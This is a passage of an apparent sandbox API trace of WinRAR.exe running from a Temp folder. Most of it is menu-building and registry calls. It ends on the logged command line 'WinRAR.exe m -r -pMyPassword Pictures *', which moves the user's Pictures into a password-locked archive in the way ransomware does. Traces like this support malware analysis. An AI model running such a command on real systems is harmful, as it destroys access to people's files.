fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.427] SetMenuItemInfoW (hmenu=0x10279, item=0xe, fByPositon=1, lpmii=0xf00f8f8620) returned 1 [0058.427] GetMenuItemInfoW (in: hmenu=0x10279, item=0xf, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 0 [0058.427] GetMenuItemInfoW (in: hmenu=0x10277, item=0x1, fByPosition=1, lpmii=0xf00f8f98e0 | out: lpmii=0xf00f8f98e0) returned 1 [0058.427] SetMenuItemInfoW (hmenu=0x10277, item=0x1, fByPositon=1, lpmii=0xf00f8f98e0) returned 1 [0058.427] GetMenuItemInfoW (in: hmenu=0x1027d, item=0x0, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.427] SetMenuItemInfoW (hmenu=0x1027d, item=0x0, fByPositon=1, lpmii=0xf00f8f8620) returned 1 [0058.427] GetMenuItemInfoW (in: hmenu=0x1027d, item=0x1, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.427] SetMenuItemInfoW (hmenu=0x1027d, item=0x1, fByPositon=1, lpmii=0xf00f8f8620) returned 1 [0058.428] GetMenuItemInfoW (in: hmenu=0x1027d, item=0x2, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.428] SetMenuItemInfoW (hmenu=0x1027d, item=0x2, fByPositon=1, lpmii=0xf00f8f8620) returned 1 [0058.428] GetMenuItemInfoW (in: hmenu=0x1027d, item=0x3, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.428] GetMenuItemInfoW (in: hmenu=0x1027d, item=0x4, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.428] SetMenuItemInfoW (hmenu=0x1027d, item=0x4, fByPositon=1, lpmii=0xf00f8f8620) returned 1 [0058.428] GetMenuItemInfoW (in: hmenu=0x1027d, item=0x5, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.428] SetMenuItemInfoW (hmenu=0x1027d, item=0x5, fByPositon=1, lpmii=0xf00f8f8620) returned 1 [0058.428] GetMenuItemInfoW (in: hmenu=0x1027d, item=0x6, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.428] SetMenuItemInfoW (hmenu=0x1027d, item=0x6, fByPositon=1, lpmii=0xf00f8f8620) returned 1 [0058.428] GetMenuItemInfoW (in: hmenu=0x1027d, item=0x7, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.428] SetMenuItemInfoW (hmenu=0x1027d, item=0x7, fByPositon=1, lpmii=0xf00f8f8620) returned 1 [0058.428] GetMenuItemInfoW (in: hmenu=0x1027d, item=0x8, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.428] GetMenuItemInfoW (in: hmenu=0x1027d, item=0x9, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.428] SetMenuItemInfoW (hmenu=0x1027d, item=0x9, fByPositon=1, lpmii=0xf00f8f8620) returned 1 [0058.428] GetMenuItemInfoW (in: hmenu=0x1027d, item=0xa, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.428] SetMenuItemInfoW (hmenu=0x1027d, item=0xa, fByPositon=1, lpmii=0xf00f8f8620) returned 1 [0058.428] GetMenuItemInfoW (in: hmenu=0x1027d, item=0xb, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.428] SetMenuItemInfoW (hmenu=0x1027d, item=0xb, fByPositon=1, lpmii=0xf00f8f8620) returned 1 [0058.428] GetMenuItemInfoW (in: hmenu=0x1027d, item=0xc, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.428] SetMenuItemInfoW (hmenu=0x1027d, item=0xc, fByPositon=1, lpmii=0xf00f8f8620) returned 1 [0058.428] GetMenuItemInfoW (in: hmenu=0x1027d, item=0xd, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 0 [0058.428] GetMenuItemInfoW (in: hmenu=0x10277, item=0x2, fByPosition=1, lpmii=0xf00f8f98e0 | out: lpmii=0xf00f8f98e0) returned 1 [0058.428] SetMenuItemInfoW (hmenu=0x10277, item=0x2, fByPositon=1, lpmii=0xf00f8f98e0) returned 1 [0058.429] GetMenuItemInfoW (in: hmenu=0x1027f, item=0x0, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.429] SetMenuItemInfoW (hmenu=0x1027f, item=0x0, fByPositon=1, lpmii=0xf00f8f8620) returned 1 [0058.429] GetMenuItemInfoW (in: hmenu=0x1027f, item=0x1, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.429] GetMenuItemInfoW (in: hmenu=0x1027f, item=0x2, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.429] SetMenuItemInfoW (hmenu=0x1027f, item=0x2, fByPositon=1, lpmii=0xf00f8f8620) returned 1 [0058.429] GetMenuItemInfoW (in: hmenu=0x1027f, item=0x3, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.429] SetMenuItemInfoW (hmenu=0x1027f, item=0x3, fByPositon=1, lpmii=0xf00f8f8620) returned 1 [0058.429] GetMenuItemInfoW (in: hmenu=0x1027f, item=0x4, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.429] SetMenuItemInfoW (hmenu=0x1027f, item=0x4, fByPositon=1, lpmii=0xf00f8f8620) returned 1 [0058.429] GetMenuItemInfoW (in: hmenu=0x1027f, item=0x5, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.429] SetMenuItemInfoW (hmenu=0x1027f, item=0x5, fByPositon=1, lpmii=0xf00f8f8620) returned 1 [0058.429] GetMenuItemInfoW (in: hmenu=0x1027f, item=0x6, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.429] GetMenuItemInfoW (in: hmenu=0x1027f, item=0x7, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.429] SetMenuItemInfoW (hmenu=0x1027f, item=0x7, fByPositon=1, lpmii=0xf00f8f8620) returned 1 [0058.429] GetMenuItemInfoW (in: hmenu=0x1027f, item=0x8, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.429] SetMenuItemInfoW (hmenu=0x1027f, item=0x8, fByPositon=1, lpmii=0xf00f8f8620) returned 1 [0058.429] GetMenuItemInfoW (in: hmenu=0x1027f, item=0x9, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.429] SetMenuItemInfoW (hmenu=0x1027f, item=0x9, fByPositon=1, lpmii=0xf00f8f8620) returned 1 [0058.429] GetMenuItemInfoW (in: hmenu=0x1027f, item=0xa, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.429] SetMenuItemInfoW (hmenu=0x1027f, item=0xa, fByPositon=1, lpmii=0xf00f8f8620) returned 1 [0058.429] GetMenuItemInfoW (in: hmenu=0x1027f, item=0xb, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 0 [0058.429] GetMenuItemInfoW (in: hmenu=0x10277, item=0x3, fByPosition=1, lpmii=0xf00f8f98e0 | out: lpmii=0xf00f8f98e0) returned 1 [0058.429] SetMenuItemInfoW (hmenu=0x10277, item=0x3, fByPositon=1, lpmii=0xf00f8f98e0) returned 1 [0058.429] GetMenuItemInfoW (in: hmenu=0x1024a, item=0x0, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.429] SetMenuItemInfoW (hmenu=0x1024a, item=0x0, fByPositon=1, lpmii=0xf00f8f8620) returned 1 [0058.430] GetMenuItemInfoW (in: hmenu=0x1024a, item=0x1, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.430] SetMenuItemInfoW (hmenu=0x1024a, item=0x1, fByPositon=1, lpmii=0xf00f8f8620) returned 1 [0058.430] GetMenuItemInfoW (in: hmenu=0x1024a, item=0x2, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.430] GetMenuItemInfoW (in: hmenu=0x1024a, item=0x3, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 0 [0058.430] GetMenuItemInfoW (in: hmenu=0x10277, item=0x4, fByPosition=1, lpmii=0xf00f8f98e0 | out: lpmii=0xf00f8f98e0) returned 1 [0058.430] SetMenuItemInfoW (hmenu=0x10277, item=0x4, fByPositon=1, lpmii=0xf00f8f98e0) returned 1 [0058.430] GetMenuItemInfoW (in: hmenu=0x1024c, item=0x0, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.430] SetMenuItemInfoW (hmenu=0x1024c, item=0x0, fByPositon=1, lpmii=0xf00f8f8620) returned 1 [0058.430] GetMenuItemInfoW (in: hmenu=0x1024c, item=0x1, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.430] SetMenuItemInfoW (hmenu=0x1024c, item=0x1, fByPositon=1, lpmii=0xf00f8f8620) returned 1 [0058.430] GetMenuItemInfoW (in: hmenu=0x1024e, item=0x0, fByPosition=1, lpmii=0xf00f8f7360 | out: lpmii=0xf00f8f7360) returned 1 [0058.430] SetMenuItemInfoW (hmenu=0x1024e, item=0x0, fByPositon=1, lpmii=0xf00f8f7360) returned 1 [0058.430] GetMenuItemInfoW (in: hmenu=0x1024e, item=0x1, fByPosition=1, lpmii=0xf00f8f7360 | out: lpmii=0xf00f8f7360) returned 1 [0058.430] SetMenuItemInfoW (hmenu=0x1024e, item=0x1, fByPositon=1, lpmii=0xf00f8f7360) returned 1 [0058.430] GetMenuItemInfoW (in: hmenu=0x1024e, item=0x2, fByPosition=1, lpmii=0xf00f8f7360 | out: lpmii=0xf00f8f7360) returned 1 [0058.430] GetMenuItemInfoW (in: hmenu=0x1024e, item=0x3, fByPosition=1, lpmii=0xf00f8f7360 | out: lpmii=0xf00f8f7360) returned 1 [0058.430] SetMenuItemInfoW (hmenu=0x1024e, item=0x3, fByPositon=1, lpmii=0xf00f8f7360) returned 1 [0058.430] GetMenuItemInfoW (in: hmenu=0x1024e, item=0x4, fByPosition=1, lpmii=0xf00f8f7360 | out: lpmii=0xf00f8f7360) returned 0 [0058.430] GetMenuItemInfoW (in: hmenu=0x1024c, item=0x2, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.430] GetMenuItemInfoW (in: hmenu=0x1024c, item=0x3, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.430] SetMenuItemInfoW (hmenu=0x1024c, item=0x3, fByPositon=1, lpmii=0xf00f8f8620) returned 1 [0058.430] GetMenuItemInfoW (in: hmenu=0x10250, item=0x0, fByPosition=1, lpmii=0xf00f8f7360 | out: lpmii=0xf00f8f7360) returned 1 [0058.430] SetMenuItemInfoW (hmenu=0x10250, item=0x0, fByPositon=1, lpmii=0xf00f8f7360) returned 1 [0058.430] GetMenuItemInfoW (in: hmenu=0x10250, item=0x1, fByPosition=1, lpmii=0xf00f8f7360 | out: lpmii=0xf00f8f7360) returned 1 [0058.430] GetMenuItemInfoW (in: hmenu=0x10250, item=0x2, fByPosition=1, lpmii=0xf00f8f7360 | out: lpmii=0xf00f8f7360) returned 1 [0058.430] SetMenuItemInfoW (hmenu=0x10250, item=0x2, fByPositon=1, lpmii=0xf00f8f7360) returned 1 [0058.430] GetMenuItemInfoW (in: hmenu=0x10250, item=0x3, fByPosition=1, lpmii=0xf00f8f7360 | out: lpmii=0xf00f8f7360) returned 1 [0058.430] SetMenuItemInfoW (hmenu=0x10250, item=0x3, fByPositon=1, lpmii=0xf00f8f7360) returned 1 [0058.430] GetMenuItemInfoW (in: hmenu=0x10250, item=0x4, fByPosition=1, lpmii=0xf00f8f7360 | out: lpmii=0xf00f8f7360) returned 0 [0058.430] GetMenuItemInfoW (in: hmenu=0x1024c, item=0x4, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.430] SetMenuItemInfoW (hmenu=0x1024c, item=0x4, fByPositon=1, lpmii=0xf00f8f8620) returned 1 [0058.431] GetMenuItemInfoW (in: hmenu=0x10252, item=0x0, fByPosition=1, lpmii=0xf00f8f7360 | out: lpmii=0xf00f8f7360) returned 1 [0058.431] SetMenuItemInfoW (hmenu=0x10252, item=0x0, fByPositon=1, lpmii=0xf00f8f7360) returned 1 [0058.431] GetMenuItemInfoW (in: hmenu=0x10252, item=0x1, fByPosition=1, lpmii=0xf00f8f7360 | out: lpmii=0xf00f8f7360) returned 1 [0058.431] SetMenuItemInfoW (hmenu=0x10252, item=0x1, fByPositon=1, lpmii=0xf00f8f7360) returned 1 [0058.431] GetMenuItemInfoW (in: hmenu=0x10252, item=0x2, fByPosition=1, lpmii=0xf00f8f7360 | out: lpmii=0xf00f8f7360) returned 0 [0058.431] GetMenuItemInfoW (in: hmenu=0x1024c, item=0x5, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.431] SetMenuItemInfoW (hmenu=0x1024c, item=0x5, fByPositon=1, lpmii=0xf00f8f8620) returned 1 [0058.431] GetMenuItemInfoW (in: hmenu=0x10254, item=0x0, fByPosition=1, lpmii=0xf00f8f7360 | out: lpmii=0xf00f8f7360) returned 1 [0058.431] SetMenuItemInfoW (hmenu=0x10254, item=0x0, fByPositon=1, lpmii=0xf00f8f7360) returned 1 [0058.431] GetMenuItemInfoW (in: hmenu=0x10254, item=0x1, fByPosition=1, lpmii=0xf00f8f7360 | out: lpmii=0xf00f8f7360) returned 1 [0058.431] SetMenuItemInfoW (hmenu=0x10254, item=0x1, fByPositon=1, lpmii=0xf00f8f7360) returned 1 [0058.431] GetMenuItemInfoW (in: hmenu=0x10254, item=0x2, fByPosition=1, lpmii=0xf00f8f7360 | out: lpmii=0xf00f8f7360) returned 1 [0058.431] GetMenuItemInfoW (in: hmenu=0x10254, item=0x3, fByPosition=1, lpmii=0xf00f8f7360 | out: lpmii=0xf00f8f7360) returned 1 [0058.431] SetMenuItemInfoW (hmenu=0x10254, item=0x3, fByPositon=1, lpmii=0xf00f8f7360) returned 1 [0058.431] GetMenuItemInfoW (in: hmenu=0x10254, item=0x4, fByPosition=1, lpmii=0xf00f8f7360 | out: lpmii=0xf00f8f7360) returned 0 [0058.431] GetMenuItemInfoW (in: hmenu=0x1024c, item=0x6, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.431] SetMenuItemInfoW (hmenu=0x1024c, item=0x6, fByPositon=1, lpmii=0xf00f8f8620) returned 1 [0058.431] GetMenuItemInfoW (in: hmenu=0x10256, item=0x0, fByPosition=1, lpmii=0xf00f8f7360 | out: lpmii=0xf00f8f7360) returned 1 [0058.431] GetMenuItemInfoW (in: hmenu=0x10256, item=0x1, fByPosition=1, lpmii=0xf00f8f7360 | out: lpmii=0xf00f8f7360) returned 0 [0058.431] GetMenuItemInfoW (in: hmenu=0x1024c, item=0x7, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.431] GetMenuItemInfoW (in: hmenu=0x1024c, item=0x8, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.431] SetMenuItemInfoW (hmenu=0x1024c, item=0x8, fByPositon=1, lpmii=0xf00f8f8620) returned 1 [0058.431] GetMenuItemInfoW (in: hmenu=0x1024c, item=0x9, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.431] SetMenuItemInfoW (hmenu=0x1024c, item=0x9, fByPositon=1, lpmii=0xf00f8f8620) returned 1 [0058.431] GetMenuItemInfoW (in: hmenu=0x1024c, item=0xa, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 0 [0058.431] GetMenuItemInfoW (in: hmenu=0x10277, item=0x5, fByPosition=1, lpmii=0xf00f8f98e0 | out: lpmii=0xf00f8f98e0) returned 1 [0058.431] SetMenuItemInfoW (hmenu=0x10277, item=0x5, fByPositon=1, lpmii=0xf00f8f98e0) returned 1 [0058.431] GetMenuItemInfoW (in: hmenu=0x10258, item=0x0, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.431] SetMenuItemInfoW (hmenu=0x10258, item=0x0, fByPositon=1, lpmii=0xf00f8f8620) returned 1 [0058.431] GetMenuItemInfoW (in: hmenu=0x10258, item=0x1, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.431] GetMenuItemInfoW (in: hmenu=0x10258, item=0x2, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.431] SetMenuItemInfoW (hmenu=0x10258, item=0x2, fByPositon=1, lpmii=0xf00f8f8620) returned 1 [0058.432] GetMenuItemInfoW (in: hmenu=0x10258, item=0x3, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.432] GetMenuItemInfoW (in: hmenu=0x10258, item=0x4, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 1 [0058.432] SetMenuItemInfoW (hmenu=0x10258, item=0x4, fByPositon=1, lpmii=0xf00f8f8620) returned 1 [0058.432] GetMenuItemInfoW (in: hmenu=0x10258, item=0x5, fByPosition=1, lpmii=0xf00f8f8620 | out: lpmii=0xf00f8f8620) returned 0 [0058.432] GetMenuItemInfoW (in: hmenu=0x10277, item=0x6, fByPosition=1, lpmii=0xf00f8f98e0 | out: lpmii=0xf00f8f98e0) returned 0 [0058.432] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x438, lpBuffer=0x7ff6f764f630, cchBufferMax=512 | out: lpBuffer="site name") returned 0x9 [0058.432] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x43a, lpBuffer=0x7ff6f764fa30, cchBufferMax=512 | out: lpBuffer="site name 2") returned 0xb [0058.432] GetLastError () returned 0x5b0 [0058.432] SetLastError (dwErrCode=0x5b0) [0058.432] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\WinRAR\\Policy", ulOptions=0x0, samDesired=0x1, phkResult=0xf00f8f9ee0 | out: phkResult=0xf00f8f9ee0*=0x0) returned 0x2 [0058.432] GetLastError () returned 0x5b0 [0058.432] SetLastError (dwErrCode=0x5b0) [0058.432] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Policy", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8fa6b0 | out: phkResult=0xf00f8fa6b0*=0x0) returned 0x2 [0058.432] SetMenu (hWnd=0x10246, hMenu=0x10277) returned 1 [0058.432] NtdllDefWindowProc_W () returned 0x0 [0058.432] NtdllDefWindowProc_W () returned 0x0 [0058.432] NtdllDefWindowProc_W () returned 0x1 [0058.435] NtdllDefWindowProc_W () returned 0x0 [0058.451] NtdllDefWindowProc_W () returned 0x0 [0058.452] NtdllDefWindowProc_W () returned 0x0 [0058.452] NtdllDefWindowProc_W () returned 0x0 [0058.452] NtdllDefWindowProc_W () returned 0x0 [0058.452] NtdllDefWindowProc_W () returned 0x0 [0058.454] NtdllDefWindowProc_W () returned 0x0 [0058.454] NtdllDefWindowProc_W () returned 0x0 [0058.455] IsIconic (hWnd=0x10246) returned 0 [0058.455] IsIconic (hWnd=0x10246) returned 0 [0058.455] IsIconic (hWnd=0x10246) returned 0 [0058.457] NtdllDefWindowProc_W () returned 0x1 [0058.457] NtdllDefWindowProc_W () returned 0x0 [0058.457] NtdllDefWindowProc_W () returned 0x0 [0058.458] NtdllDefWindowProc_W () returned 0x0 [0058.458] DrawMenuBar (hWnd=0x10246) returned 1 [0058.458] NtdllDefWindowProc_W () returned 0x0 [0058.458] NtdllDefWindowProc_W () returned 0x0 [0058.458] NtdllDefWindowProc_W () returned 0x1 [0058.459] NtdllDefWindowProc_W () returned 0x0 [0058.459] NtdllDefWindowProc_W () returned 0x1 [0058.459] GetLastError () returned 0xb7 [0058.459] SetLastError (dwErrCode=0xb7) [0058.459] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\WinRAR\\Policy", ulOptions=0x0, samDesired=0x1, phkResult=0xf00f8f9ee0 | out: phkResult=0xf00f8f9ee0*=0x0) returned 0x2 [0058.459] GetLastError () returned 0xb7 [0058.459] SetLastError (dwErrCode=0xb7) [0058.459] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Policy", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8fa6b0 | out: phkResult=0xf00f8fa6b0*=0x0) returned 0x2 [0058.459] GetLastError () returned 0xb7 [0058.459] SetLastError (dwErrCode=0xb7) [0058.459] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\WinRAR\\Policy", ulOptions=0x0, samDesired=0x1, phkResult=0xf00f8f9ee0 | out: phkResult=0xf00f8f9ee0*=0x0) returned 0x2 [0058.460] GetLastError () returned 0xb7 [0058.460] SetLastError (dwErrCode=0xb7) [0058.460] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Policy", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8fa6b0 | out: phkResult=0xf00f8fa6b0*=0x0) returned 0x2 [0058.460] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x8) returned 0x28b08445c20 [0058.460] RegisterDragDrop (hwnd=0x10246, pDropTarget=0x28b08445c20) returned 0x0 [0060.575] GetLocalTime (in: lpSystemTime=0x7ff6f7619cd0 | out: lpSystemTime=0x7ff6f7619cd0*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x17, wMinute=0xd, wSecond=0x26, wMilliseconds=0x46)) [0060.575] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\Paths", ulOptions=0x0, samDesired=0x1, phkResult=0xf00f8f59f0 | out: phkResult=0xf00f8f59f0*=0x0) returned 0x2 [0060.576] SHGetMalloc (in: ppMalloc=0xf00f8f5990 | out: ppMalloc=0xf00f8f5990*=0x7ff92fcdf3f0) returned 0x0 [0060.576] SHGetSpecialFolderLocation (in: hwnd=0x0, csidl=26, ppidl=0xf00f8f59d8 | out: ppidl=0xf00f8f59d8) returned 0x0 [0060.576] SHGetPathFromIDListW (in: pidl=0x28b084ee8c0, pszPath=0xf00f8f7ae0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 1 [0060.576] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\WinRAR" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\winrar")) returned 0x10 [0060.576] IMalloc:Free (This=0x7ff92fcdf3f0, pv=0x28b084ee8c0) [0060.576] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\WinRAR\\rarreg.*", lpFindFileData=0xf00f8f4790 | out: lpFindFileData=0xf00f8f4790) returned 0xffffffffffffffff [0060.576] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Roaming\\WinRAR\\rarreg.*", lpFindFileData=0xf00f8f4790 | out: lpFindFileData=0xf00f8f4790) returned 0xffffffffffffffff [0060.577] GetLastError () returned 0x2 [0060.577] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xf00f8f7ae0, nSize=0x800 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\WinRAR.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\winrar.exe")) returned 0x2d [0060.577] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\rarreg.*", lpFindFileData=0xf00f8f4790 | out: lpFindFileData=0xf00f8f4790) returned 0xffffffffffffffff [0060.577] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\rarreg.*", lpFindFileData=0xf00f8f4790 | out: lpFindFileData=0xf00f8f4790) returned 0xffffffffffffffff [0060.577] GetLastError () returned 0x2 [0060.577] GetLastError () returned 0x2 [0060.577] SetLastError (dwErrCode=0x2) [0060.577] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\WinRAR", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f8e40 | out: phkResult=0xf00f8f8e40*=0x0) returned 0x2 [0060.577] GetLastError () returned 0x2 [0060.577] SetLastError (dwErrCode=0x2) [0060.577] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f8e00 | out: phkResult=0xf00f8f8e00*=0x2f0) returned 0x0 [0060.577] RegQueryValueExW (in: hKey=0x2f0, lpValueName="rarkey", lpReserved=0x0, lpType=0xf00f8f9264, lpData=0xf00f8f9b40, lpcbData=0xf00f8f9260*=0x1000 | out: lpType=0xf00f8f9264*=0x0, lpData=0xf00f8f9b40*=0x0, lpcbData=0xf00f8f9260*=0x1000) returned 0x2 [0060.578] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.579] GetCurrentProcess () returned 0xffffffffffffffff [0060.579] GetCurrentThread () returned 0xfffffffffffffffe [0060.579] GetPriorityClass (hProcess=0xffffffffffffffff) returned 0x20 [0060.579] GetThreadPriority (hThread=0xfffffffffffffffe) returned 0 [0060.579] GetLastError () returned 0x2 [0060.579] SetLastError (dwErrCode=0x2) [0060.579] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR\\General", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8fc420 | out: phkResult=0xf00f8fc420*=0x2f0) returned 0x0 [0060.579] RegQueryValueExW (in: hKey=0x2f0, lpValueName="Priority", lpReserved=0x0, lpType=0xf00f8fc884, lpData=0xf00f8fc880, lpcbData=0xf00f8fc8b8*=0x4 | out: lpType=0xf00f8fc884*=0x0, lpData=0xf00f8fc880*=0x1, lpcbData=0xf00f8fc8b8*=0x4) returned 0x2 [0060.579] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.579] SetPriorityClass (hProcess=0xffffffffffffffff, dwPriorityClass=0x20) returned 1 [0060.579] SetThreadPriority (hThread=0xfffffffffffffffe, nPriority=0) returned 1 [0060.579] GetLastError () returned 0x2 [0060.579] SetLastError (dwErrCode=0x2) [0060.579] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\WinRAR", ulOptions=0x0, samDesired=0x9, phkResult=0xf00f8f9b70 | out: phkResult=0xf00f8f9b70*=0x2f0) returned 0x0 [0060.579] RegQueryValueExW (in: hKey=0x2f0, lpValueName="rarreg.key", lpReserved=0x0, lpType=0xf00f8f9fd4, lpData=0xf00f8fb8b0, lpcbData=0xf00f8f9fd0*=0x1000 | out: lpType=0xf00f8f9fd4*=0x0, lpData=0xf00f8fb8b0*=0x0, lpcbData=0xf00f8f9fd0*=0x1000) returned 0x2 [0060.580] RegCloseKey (hKey=0x2f0) returned 0x0 [0060.580] GetCommandLineW () returned="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Pictures *" [0060.580] GetCommandLineW () returned="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\\\WinRAR.exe m -r -pMyPassword Pictures *" [0060.580] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x60) returned 0x28b084637c0 [0060.580] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084637c0 | out: hHeap=0x28b08430000) returned 1 [0060.580] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0xa) returned 0x28b084edc80 [0060.580] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084edc80 | out: hHeap=0x28b08430000) returned 1 [0060.580] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0xa) returned 0x28b084ee100 [0060.580] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=-1, lpString2="cfg-", cchCount2=-1) returned 3 [0060.580] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="r", cchCount1=2, lpString2="sc", cchCount2=2) returned 1 [0060.580] HeapFree (in: hHeap=0x28b08430000, dwFlags=0x0, lpMem=0x28b084ee100 | out: hHeap=0x28b08430000) returned 1 [0060.580] RtlAllocateHeap (HeapHandle=0x28b08430000, Flags=0x0, Size=0x1e) returned 0x28b084ec920 [0060.580] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=-1, lpString2="cfg-", cchCount2=-1) returned 3 [0060.580] CompareStringW (Locale=0x400, dwCmpFlags=0x1001, lpString1="pMyPassword", cchCount1=2, lpString2="sc", cchCount2=2) returned 1 [0060.580] HeapFree (in: 